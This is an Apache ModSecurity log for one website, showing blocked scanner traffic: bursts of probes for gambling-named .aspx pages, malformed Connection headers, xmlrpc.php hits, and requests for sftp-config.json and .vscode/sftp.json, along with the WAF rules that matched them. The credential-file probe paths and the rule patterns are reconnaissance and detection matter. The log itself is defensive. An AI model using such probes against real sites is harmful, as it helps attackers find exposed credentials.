[Fri Feb 20 08:48:11.139080 2026] [:error] [pid 39705:tid 39783] [client 51.83.101.126:49498] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZevS2LlH-A0eKa6oP7SJwAAARc"]
[Fri Feb 20 08:48:13.756978 2026] [:error] [pid 39704:tid 39728] [client 51.83.101.126:49512] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZevTUyMSFDmCIRHNOfn8AAAAMg"]
[Fri Feb 20 08:48:16.178980 2026] [:error] [pid 39818:tid 39839] [client 51.83.101.126:49524] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZevUGQMTpiKlnmsoKbc_AAAAJE"]
[Fri Feb 20 08:48:18.581632 2026] [:error] [pid 39704:tid 39726] [client 51.83.101.126:50064] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZevUkyMSFDmCIRHNOfn_wAAAMY"]
[Fri Feb 20 08:48:20.929777 2026] [:error] [pid 39705:tid 39771] [client 51.83.101.126:50078] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZevVGLlH-A0eKa6oP7SQAAAAQw"]
[Fri Feb 20 08:48:23.540151 2026] [:error] [pid 39706:tid 39808] [client 51.83.101.126:50080] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZevV1HCi9Thcb5pcMTBlgAAAVU"]
[Fri Feb 20 08:48:26.111475 2026] [:error] [pid 39704:tid 39744] [client 51.83.101.126:50084] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZevWkyMSFDmCIRHNOfoFwAAANg"]
[Fri Feb 20 08:48:28.610745 2026] [:error] [pid 39706:tid 39796] [client 51.83.101.126:42032] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZevXFHCi9Thcb5pcMTBqgAAAUk"]
[Fri Feb 20 08:48:31.112686 2026] [:error] [pid 39705:tid 39770] [client 51.83.101.126:42040] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZevX2LlH-A0eKa6oP7SUAAAAQs"]
[Fri Feb 20 08:48:33.593024 2026] [:error] [pid 39704:tid 39740] [client 51.83.101.126:42056] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZevYUyMSFDmCIRHNOfoPQAAANQ"]
[Fri Feb 20 08:48:36.084327 2026] [:error] [pid 39706:tid 39796] [client 51.83.101.126:42064] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZevZFHCi9Thcb5pcMTBuAAAAUk"]
[Fri Feb 20 08:48:38.595310 2026] [:error] [pid 39705:tid 39762] [client 51.83.101.126:59972] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZevZmLlH-A0eKa6oP7SYQAAAQM"]
[Fri Feb 20 08:48:41.045848 2026] [:error] [pid 39704:tid 39741] [client 51.83.101.126:59976] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZevaUyMSFDmCIRHNOfoUQAAANU"]
[Fri Feb 20 11:15:31.100404 2026] [:error] [pid 54552:tid 54569] [client 119.96.24.54:57730] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZfR08e4t0F-_sbWepZ-BgAAAM4"]
[Fri Feb 20 11:55:14.025906 2026] [:error] [pid 54552:tid 54560] [client 43.135.183.82:42402] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZfbIse4t0F-_sbWepaQ9AAAAMU"]
[Fri Feb 20 14:22:51.301864 2026] [:error] [pid 54552:tid 54578] [client 147.135.213.32:51768] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZf9u8e4t0F-_sbWepbGTgAAANc"]
[Fri Feb 20 14:22:53.895712 2026] [:error] [pid 46012:tid 46019] [client 147.135.213.32:55318] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZf9vTXz-GTvuxLwgUGtUwAAAUU"]
[Fri Feb 20 14:22:56.398947 2026] [:error] [pid 54461:tid 54502] [client 147.135.213.32:55320] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZf9wC372fkN0w39NDNPnAAAAEo"]
[Fri Feb 20 17:32:33.085326 2026] [:error] [pid 54461:tid 54493] [client 223.15.245.170:56548] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZgqMS372fkN0w39NDOLAQAAAEE"]
[Fri Feb 20 17:39:35.366015 2026] [:error] [pid 59127:tid 59129] [client 43.157.98.187:46012] [client 43.157.98.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZgr13Sltzl55Qz-09gT_AAAAQA"]
[Fri Feb 20 21:55:45.952338 2026] [:error] [pid 59127:tid 59132] [client 49.51.183.15:57128] [client 49.51.183.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZhn4XSltzl55Qz-09haawAAAQM"]
[Fri Feb 20 22:43:00.326179 2026] [:error] [pid 46012:tid 46031] [client 112.196.183.151:11423] [client 112.196.183.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.196.183.151, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZhy9DXz-GTvuxLwgUF-GAAAAVE"]
[Fri Feb 20 22:45:44.230121 2026] [:error] [pid 59127:tid 59139] [client 103.239.173.6:63551] [client 103.239.173.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.239.173.6, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZhzmHSltzl55Qz-09hmxAAAAQo"]
[Fri Feb 20 23:36:35.782994 2026] [:error] [pid 54460:tid 54487] [client 182.44.9.147:50752] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZh_g8oUiaZ-Z7V-F9_BvAAAABY"]
[Sat Feb 21 02:31:25.881686 2026] [:error] [pid 25617:tid 25678] [client 103.65.237.124:60032] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aZiofdqt50qKix2zKUS0kwAAAY4"]
[Sat Feb 21 02:31:26.146091 2026] [:error] [pid 25617:tid 25669] [client 103.65.237.124:60100] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aZioftqt50qKix2zKUS0lAAAAYU"]
[Sat Feb 21 04:51:16.506113 2026] [:error] [pid 22558:tid 22562] [client 54.37.252.192:42510] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZjJRCrVaIb2gXsVbDoGLQAAAQI"]
[Sat Feb 21 04:51:19.011633 2026] [:error] [pid 40871:tid 40894] [client 54.37.252.192:39560] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZjJRzqDikjdiOZeJyWfFwAAANU"]
[Sat Feb 21 04:51:21.426952 2026] [:error] [pid 22558:tid 22578] [client 54.37.252.192:39570] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZjJSSrVaIb2gXsVbDoGVAAAARI"]
[Sat Feb 21 04:51:23.922143 2026] [:error] [pid 40758:tid 40843] [client 54.37.252.192:60652] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZjJS0BAHxvBM3i9iKGD7wAAAJU"]
[Sat Feb 21 04:51:26.833537 2026] [:error] [pid 40758:tid 40824] [client 54.37.252.192:60662] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZjJTkBAHxvBM3i9iKGD9wAAAII"]
[Sat Feb 21 04:51:29.669138 2026] [:error] [pid 40758:tid 40828] [client 54.37.252.192:60666] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZjJUUBAHxvBM3i9iKGD-gAAAIY"]
[Sat Feb 21 06:23:39.902265 2026] [:error] [pid 40757:tid 40802] [client 49.51.253.83:51278] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZje66g_MKVL7zhH7dw-PgAAAEc"]
[Sat Feb 21 06:44:55.822770 2026] [:error] [pid 40871:tid 40879] [client 3.131.159.45:59190] [client 3.131.159.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZjj5zqDikjdiOZeJyXUdAAAAMY"]
[Sat Feb 21 06:44:56.214680 2026] [:error] [pid 22558:tid 22565] [client 3.131.159.45:63124] [client 3.131.159.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aZjj6CrVaIb2gXsVbDpF8wAAAQU"]
[Sat Feb 21 06:44:56.615775 2026] [:error] [pid 40757:tid 40819] [client 3.131.159.45:50096] [client 3.131.159.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aZjj6Kg_MKVL7zhH7dxFbwAAAFg"]
[Sat Feb 21 08:08:01.973771 2026] [:error] [pid 40757:tid 40799] [client 51.77.218.191:35830] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZj3Yag_MKVL7zhH7dxhFwAAAEQ"]
[Sat Feb 21 08:08:04.949659 2026] [:error] [pid 40757:tid 40815] [client 51.77.218.191:40306] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZj3ZKg_MKVL7zhH7dxhHAAAAFQ"]
[Sat Feb 21 08:08:07.589370 2026] [:error] [pid 40756:tid 40789] [client 51.77.218.191:40318] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZj3ZwNlDP60sLYgqXIEhQAAABc"]
[Sat Feb 21 11:45:39.870680 2026] [:error] [pid 40756:tid 40790] [client 110.166.71.39:42234] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZkqYwNlDP60sLYgqXJY_gAAABg"]
[Sat Feb 21 12:34:18.585705 2026] [:error] [pid 40756:tid 40783] [client 49.37.42.230:51447] [client 49.37.42.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.42.230, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZk1ygNlDP60sLYgqXJntQAAABE"]
[Sat Feb 21 16:59:35.227332 2026] [:error] [pid 40756:tid 40772] [client 52.28.162.93:46740] [client 52.28.162.93] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.5_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aZlz9ANlDP60sLYgqXKuMgAAAAY"], referer: https://measureyourbrand.com.au/
[Sat Feb 21 20:23:49.963000 2026] [:error] [pid 53976:tid 54024] [client 119.28.177.175:40212] [client 119.28.177.175] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZmj1dBEV5I20TLqUt65SwAAApE"]
[Sat Feb 21 21:56:57.353772 2026] [:error] [pid 40756:tid 40787] [client 217.182.194.3:57136] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZm5qQNlDP60sLYgqXLm0wAAABU"]
[Sat Feb 21 21:57:01.200832 2026] [:error] [pid 40756:tid 40774] [client 217.182.194.3:46426] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZm5rQNlDP60sLYgqXLm1wAAAAg"]
[Sat Feb 21 21:57:04.688669 2026] [:error] [pid 53976:tid 54028] [client 217.182.194.3:46440] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZm5sNBEV5I20TLqUt7K4wAAApU"]
[Sat Feb 21 21:57:07.767599 2026] [:error] [pid 40757:tid 40819] [client 217.182.194.3:46454] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZm5s6g_MKVL7zhH7dxBAgAAAFg"]
[Sat Feb 21 21:57:11.168058 2026] [:error] [pid 11941:tid 11957] [client 217.182.194.3:39346] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZm5t3TUkHs3EVWllKnmZwAAAY4"]
[Sat Feb 21 21:57:14.257715 2026] [:error] [pid 53976:tid 54022] [client 217.182.194.3:39360] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZm5utBEV5I20TLqUt7K8wAAAo8"]
[Sat Feb 21 22:05:38.458105 2026] [:error] [pid 40757:tid 40807] [client 217.182.194.3:50834] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZm7sqg_MKVL7zhH7dxCpwAAAEw"]
[Sat Feb 21 22:05:41.118150 2026] [:error] [pid 53975:tid 53993] [client 217.182.194.3:46282] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZm7tdeFesAKjJ7sq3GWnwAAAk0"]
